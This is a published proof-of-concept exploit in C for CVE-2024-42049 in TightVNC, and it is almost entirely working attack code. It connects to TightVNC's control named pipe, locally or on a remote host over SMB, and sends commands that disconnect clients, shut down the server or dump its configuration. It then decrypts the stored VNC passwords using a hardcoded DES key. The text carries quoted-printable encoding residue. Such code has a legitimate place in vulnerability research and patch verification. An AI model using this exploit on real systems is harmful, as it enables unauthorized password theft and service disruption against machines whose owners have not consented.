# Exploit Title: TightVNC 2.8.83 - Control Pipe Manipulation
# Date: 06/09/2025
# Exploit Author: Ionut Zevedei (mail@izvd.eu)
# Exploit Repository: https://github.com/zeved/CVE-2024-42049-PoC
# Vendor Homepage: https://www.tightvnc.com/
# Software Link: https://www.tightvnc.com/download.php
# Version: 2.8.83
# Tested on: Windows 10 x64 - TightVNC 2.5.10, 2.8.81
# CVE : CVE-2024-42049
#include <windows.h>=20
#include <stdio.h>
#include <conio.h>
#include <tchar.h>
#include "descrypt.h"
#define GETBYTE(x, n) (((x) >> ((n) * 8)) & 0xFF)
#define BUFFER_SIZE 512
#define TVNC_CMD_DISCONNECT_ALL_CLIENTS 0x06
#define TVNC_CMD_GET_CLIENT_LIST 0x04
#define TVNC_CMD_SHUTDOWN_SERVER 0x07
#define TVNC_CMD_GET_SERVER_INFO 0x11
#define TVNC_CMD_GET_CONFIG 0x12
const unsigned int commands[6] =3D {
TVNC_CMD_DISCONNECT_ALL_CLIENTS,
TVNC_CMD_GET_CLIENT_LIST,
TVNC_CMD_SHUTDOWN_SERVER,
TVNC_CMD_GET_SERVER_INFO,
TVNC_CMD_GET_CONFIG,
};
unsigned char des_key[8] =3D { 23, 82, 107, 6, 35, 78, 88, 7 };
void get_bytes(unsigned int data, unsigned char* out) {
out[0] =3D GETBYTE(data, 3);
out[1] =3D GETBYTE(data, 2);
out[2] =3D GETBYTE(data, 1);
out[3] =3D GETBYTE(data, 0);
}
// printf is wonky when printing passwords later
void print_passwd(unsigned char* passwd) {
for (int i =3D 0; i < 8; i++) {
printf("%c", passwd[i]);
}
printf("\n");
}
void print_error(unsigned long error_code) {
unsigned char* buffer;
=20
// damn it windows...
FormatMessage(
FORMAT_MESSAGE_ALLOCATE_BUFFER |
FORMAT_MESSAGE_FROM_SYSTEM |
FORMAT_MESSAGE_IGNORE_INSERTS,
NULL,
error_code,
MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT),
(LPTSTR) &buffer,
0, NULL);
printf("[error]: %s\n", buffer);
}
void decrypt_passwords(unsigned char *buffer_ptr, unsigned int offset) {
unsigned char primary_passwd[8] =3D { 0x00 };
unsigned char view_only_passwd[8] =3D { 0x00 };
printf("\n\tencrypted primary password: ");
for (int i =3D 0; i < 8; i++) {
primary_passwd[i] =3D buffer_ptr[offset + 8 + i];
printf("%02x ", primary_passwd[i]);
}
printf("\n\tencrypted view-only password: ");
for (int i =3D 0; i < 8; i++) {
view_only_passwd[i] =3D buffer_ptr[offset + i];
printf("%02x ", view_only_passwd[i]);
}
unsigned char primary_passwd_decrypted[8] =3D { 0x00 };
unsigned char view_only_passwd_decrypted[8] =3D { 0x00 };
decrypt(primary_passwd_decrypted, view_only_passwd,
sizeof(primary_passwd_decrypted), des_key);
decrypt(view_only_passwd_decrypted, primary_passwd,
sizeof(view_only_passwd_decrypted), des_key);
printf("\n\tdecrypted primary password: ");
print_passwd(primary_passwd_decrypted);
printf("\tdecrypted view-only password: ");
print_passwd(view_only_passwd_decrypted);
}
BOOL open_pipe(PHANDLE handle_ptr, char *pipe_name) {
unsigned long pipe_mode;
BOOL result =3D FALSE;
printf("[~] opening pipe %s...\n", pipe_name);
while (1) {
*handle_ptr =3D CreateFile(
pipe_name,
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_FLAG_OVERLAPPED,
NULL
);
if (*handle_ptr !=3D INVALID_HANDLE_VALUE) {
printf("[+] pipe opened\n");
break;
}
if (GetLastError() !=3D ERROR_PIPE_BUSY) {
printf("[-] could not open pipe\n");
print_error(GetLastError());
return FALSE;
}
printf("[~] waiting for named pipe to be available - if this hangs the =
pipe server might be dead.\n");
WaitNamedPipe(pipe_name, NMPWAIT_WAIT_FOREVER);
}
pipe_mode =3D PIPE_READMODE_BYTE;
result =3D SetNamedPipeHandleState(*handle_ptr, &pipe_mode, NULL, NULL);
if (!result) {
printf("[-] failed setting pipe read mode\n");
print_error(GetLastError());
return result;
}
return result;
}
int main(int argc, char* argv[]) {
HANDLE pipe_handle =3D NULL;
unsigned char message[8] =3D { 0x00 };
unsigned char buffer[BUFFER_SIZE] =3D { 0x00 };
BOOL result =3D FALSE;
unsigned long bytes_read, bytes_written;
unsigned int cmd_index =3D 0;
unsigned int offset =3D 30;
if (argc < 3) {
printf("usage: %s <command> <pipe> <offset?>\n", argv[0]);
printf("offset - optional: default is 30 - change as needed\n");
printf("commands:\n");
printf("\t1 - disconnect all clients\n");
printf("\t2 - get client list\n");
printf("\t3 - shutdown server\n");
printf("\t4 - get server info\n");
printf("\t5 - get server config\n");
printf("example pipes:\n\t\\\\192.168.1.42\\pipe\\TightVNC_Service_Cont=
rol\n");
printf("\t\\\\.\\pipe\\TightVNC_Application_Control_On_Session1\n\n");
return 0;
}
char* stop =3D NULL;
cmd_index =3D strtol(argv[1], &stop, 10);
if (stop =3D=3D '\0') {
return 0;
}
cmd_index--;
if (argc =3D=3D 4) {
stop =3D NULL;
offset =3D strtol(argv[3], &stop, 10);
if (offset =3D=3D 0 || stop =3D=3D '\0') {
return 0;
}
}
if (!open_pipe(&pipe_handle, argv[2])) {
goto exit;
}
printf("[i] sending command...\n");
=20
get_bytes(commands[cmd_index], message);
result =3D WriteFile(pipe_handle, message, 8, &bytes_written, NULL);
if (!result) {
printf("[-] failed writing to pipe\n");
print_error(GetLastError());
goto exit;
}
printf("[~] message sent; waiting for reply\n");
do {
result =3D ReadFile(
pipe_handle,
buffer,
BUFFER_SIZE * sizeof(unsigned char),
&bytes_read,
NULL
);
if (!result && GetLastError() !=3D ERROR_MORE_DATA)
break;
printf("[+] got %d bytes back!\n", bytes_read);
printf(" hex: \n\t");
for (int i =3D 0; i < bytes_read; i++) {
printf("%02x ", buffer[i]);
}
printf("\n char: \n\t");
for (int i =3D 0; i < bytes_read; i++) {
printf("%c", buffer[i]);
}
printf("\n\n");
if (cmd_index =3D=3D 4) {
printf("\n[~] command is get config, attempting to decrypt passwords =
using offset %d...\n", offset);
decrypt_passwords(&buffer, offset);
}
memset(buffer, 0, BUFFER_SIZE);
} while (!result);
if (!result)
{
printf("[-] failed reading from pipe\n");
print_error(GetLastError());
goto exit;
}
printf("\n[+] done\n\n");
exit:
if (pipe_handle !=3D NULL) {
CloseHandle(&pipe_handle);
}
return 0;
}